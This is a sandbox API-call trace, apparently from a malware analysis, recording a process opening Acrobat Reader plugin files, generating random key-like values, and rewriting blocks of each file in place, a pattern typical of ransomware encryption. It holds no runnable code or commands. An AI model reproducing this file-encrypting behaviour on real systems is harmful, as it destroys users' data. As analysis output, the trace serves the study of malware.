	[0094.066] wcscpy (in: _Dest=0x2d7f1c0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia"
	[0094.066] wcscat (in: _Dest=0x2d7f1c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\"
	[0094.066] wcscat (in: _Dest=0x2d7f1c0, _Source="MPP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP"

Thread:
	id = 1391
	os_tid = 0x21dc

	[0094.066] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api")) returned 0x20
	[0094.066] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", dwFileAttributes=0x20) returned 1
	[0094.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf58
	[0094.067] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0x2f8bf920 | out: lpFileSize=0x2f8bf920*=1544291) returned 1
	[0094.067] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x17905f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.067] ReadFile (in: hFile=0xf58, lpBuffer=0x2f8bf8a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f8bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f8bf8a4*, lpNumberOfBytesRead=0x2f8bf8a0*=0x4, lpOverlapped=0x0) returned 1
	[0094.217] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47830
	[0094.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0094.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984e10
	[0094.218] NtQuerySystemTime (in: CurrentTime=0x2f8bf880 | out: CurrentTime=0x2f8bf880*=132251868209471269) returned 0x0
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xcc5b7833
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x7639f9bf
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x3cab8345
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x4ec80ad8
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xd1c7905c
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x6f77cddd
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xb9080bf4
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x2fec7225
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xeb5fb5d8
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x7ff7d625
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xec7b667e
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x7bd3dd32
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xe2b95413
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xc259864a
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x7353208f
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xf1412f7a
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x97027bb6
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xc3b9b5b3
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x6409aee9
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xf6b53a76
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xb40e77a
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x7101ff8c
	[0094.218] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x8da779e
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xcaadd67c
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x619826d7
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x688ca7b7
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x34e2ab69
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xb946770b
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xdb5eed4a
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x1d894563
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0x4818c5cd
	[0094.219] RtlRandom (in: Seed=0x2f8bf88c | out: Seed=0x2f8bf88c) returned 0xfaa4df43
	[0094.228] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.228] ReadFile (in: hFile=0xf58, lpBuffer=0x4fc07e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f8bf838, lpOverlapped=0x0 | out: lpBuffer=0x4fc07e0*, lpNumberOfBytesRead=0x2f8bf838*=0xc800, lpOverlapped=0x0) returned 1
	[0094.341] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d886c0) returned 1
	[0094.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4952820
	[0094.343] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.343] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.343] WriteFile (hFile=0xf58, lpBuffer=0x4952820, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f8bf838, lpOverlapped=0x0) 

Thread:
	id = 1392
	os_tid = 0x21e0

	[0094.068] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api")) returned 0x20
	[0094.068] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", dwFileAttributes=0x20) returned 1
	[0094.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf54
	[0094.068] GetFileSizeEx (in: hFile=0xf54, lpFileSize=0x2f93fc94 | out: lpFileSize=0x2f93fc94*=431715) returned 1
	[0094.069] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x6965f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.069] ReadFile (in: hFile=0xf54, lpBuffer=0x2f93fc18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f93fc14, lpOverlapped=0x0 | out: lpBuffer=0x2f93fc18*, lpNumberOfBytesRead=0x2f93fc14*=0x4, lpOverlapped=0x0) returned 1
	[0094.184] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0094.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0094.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47830
	[0094.184] NtQuerySystemTime (in: CurrentTime=0x2f93fbf4 | out: CurrentTime=0x2f93fbf4*=132251868209177791) returned 0x0
	[0094.184] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xe085f5ba
	[0094.184] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x8e7f57e5
	[0094.184] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x745d3e42
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xdd4fb42d
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x4886288a
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x17ec5887
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xad5c04c4
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xaaf372d
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xb3a792e5
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x92e4ac3f
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xda14a85b
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xff116404
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x1bd649ca
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xd93c39af
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xacf3f978
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xe96eb893
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xdd8366a5
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x9f3f7381
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x3981ed5f
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x528d2ecc
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x7edf48f7
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x5c874926
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x61d82d40
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xbb5d4731
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xc4f8f9f6
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x67c0cb07
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x65fcccfc
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x558c57c
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x95e3c189
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x4d868b3d
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0xc6ac5764
	[0094.185] RtlRandom (in: Seed=0x2f93fc00 | out: Seed=0x2f93fc00) returned 0x509f5319
	[0094.194] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.194] ReadFile (in: hFile=0xf54, lpBuffer=0x512e0e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f93fbac, lpOverlapped=0x0 | out: lpBuffer=0x512e0e0*, lpNumberOfBytesRead=0x2f93fbac*=0xc800, lpOverlapped=0x0) returned 1
	[0094.330] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x492d008
	[0094.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88af8
	[0094.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88af8) returned 1
	[0094.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.335] WriteFile (hFile=0xf54, lpBuffer=0x492d008, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f93fbac, lpOverlapped=0x0) 

Thread:
	id = 1393
	os_tid = 0x21e4

	[0094.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2ad58
	[0094.070] wcscpy (in: _Dest=0x2e2ad58, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers"
	[0094.070] wcscat (in: _Dest=0x2e2ad58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\"
	[0094.070] wcscat (in: _Dest=0x2e2ad58, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*"
	[0094.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4715290
	[0094.070] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*", lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7e98
	[0094.071] wcscmp (_String1=".", _String2=".") returned 0
	[0094.071] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.071] wcscmp (_String1="..", _String2=".") returned 1
	[0094.071] wcscmp (_String1="..", _String2="..") returned 0
	[0094.071] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x199f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32BitMAPIBroker.exe", cAlternateFileName="32BITM~1.EXE")) returned 1
	[0094.071] wcscmp (_String1="32BitMAPIBroker.exe", _String2=".") returned 1
	[0094.071] wcscmp (_String1="32BitMAPIBroker.exe", _String2="..") returned 1
	[0094.071] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 1
	[0094.071] wcscmp (_String1="64BitMAPIBroker.exe", _String2=".") returned 1
	[0094.071] wcscmp (_String1="64BitMAPIBroker.exe", _String2="..") returned 1
	[0094.071] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 0
	[0094.071] FindClose (in: hFindFile=0x46a7e98 | out: hFindFile=0x46a7e98) returned 1
	[0094.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4715290) returned 1
	[0094.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2ad58) returned 1
	[0094.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4893e20) returned 1

Thread:
	id = 1394
	os_tid = 0x21e8

	[0094.072] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api")) returned 0x20
	[0094.072] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", dwFileAttributes=0x20) returned 1
	[0094.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x894
	[0094.073] GetFileSizeEx (in: hFile=0x894, lpFileSize=0x2fa3f9f4 | out: lpFileSize=0x2fa3f9f4*=7265379) returned 1
	[0094.073] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0x6edc5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.073] ReadFile (in: hFile=0x894, lpBuffer=0x2fa3f978, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fa3f974, lpOverlapped=0x0 | out: lpBuffer=0x2fa3f978*, lpNumberOfBytesRead=0x2fa3f974*=0x4, lpOverlapped=0x0) returned 1
	[0094.196] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bc8
	[0094.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b00
	[0094.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47830
	[0094.196] NtQuerySystemTime (in: CurrentTime=0x2fa3f954 | out: CurrentTime=0x2fa3f954*=132251868209315015) returned 0x0
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x3e0b016c
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xad1cf2b1
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xb109b43a
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xa6f4c81f
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xe3182a62
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x4f679df7
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x4119e80f
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x3e7f1040
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xdd427134
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x38aa5016
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x8045fd59
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x840d905
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xd7c8cdca
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xbb2b706f
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x907718d0
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xc5658fa7
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x6b07bcc9
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x486de01f
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x9e6abfc0
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x33bc713f
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x15f639b4
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xb8dd6824
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x71361d3
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x246f7649
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0xb8db81df
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x16403dd6
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x3f37fef3
	[0094.196] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x3e61b297
	[0094.197] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x5eff203d
	[0094.197] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x315b697f
	[0094.197] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x7591de0c
	[0094.197] RtlRandom (in: Seed=0x2fa3f960 | out: Seed=0x2fa3f960) returned 0x35973cd0
	[0094.206] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.206] ReadFile (in: hFile=0x894, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fa3f90c, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x2fa3f90c*=0xc800, lpOverlapped=0x0) returned 1
	[0094.336] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.336] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.336] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.336] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88af8
	[0094.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88af8) returned 1
	[0094.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4939810
	[0094.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88af8
	[0094.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88b20
	[0094.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88b20) returned 1
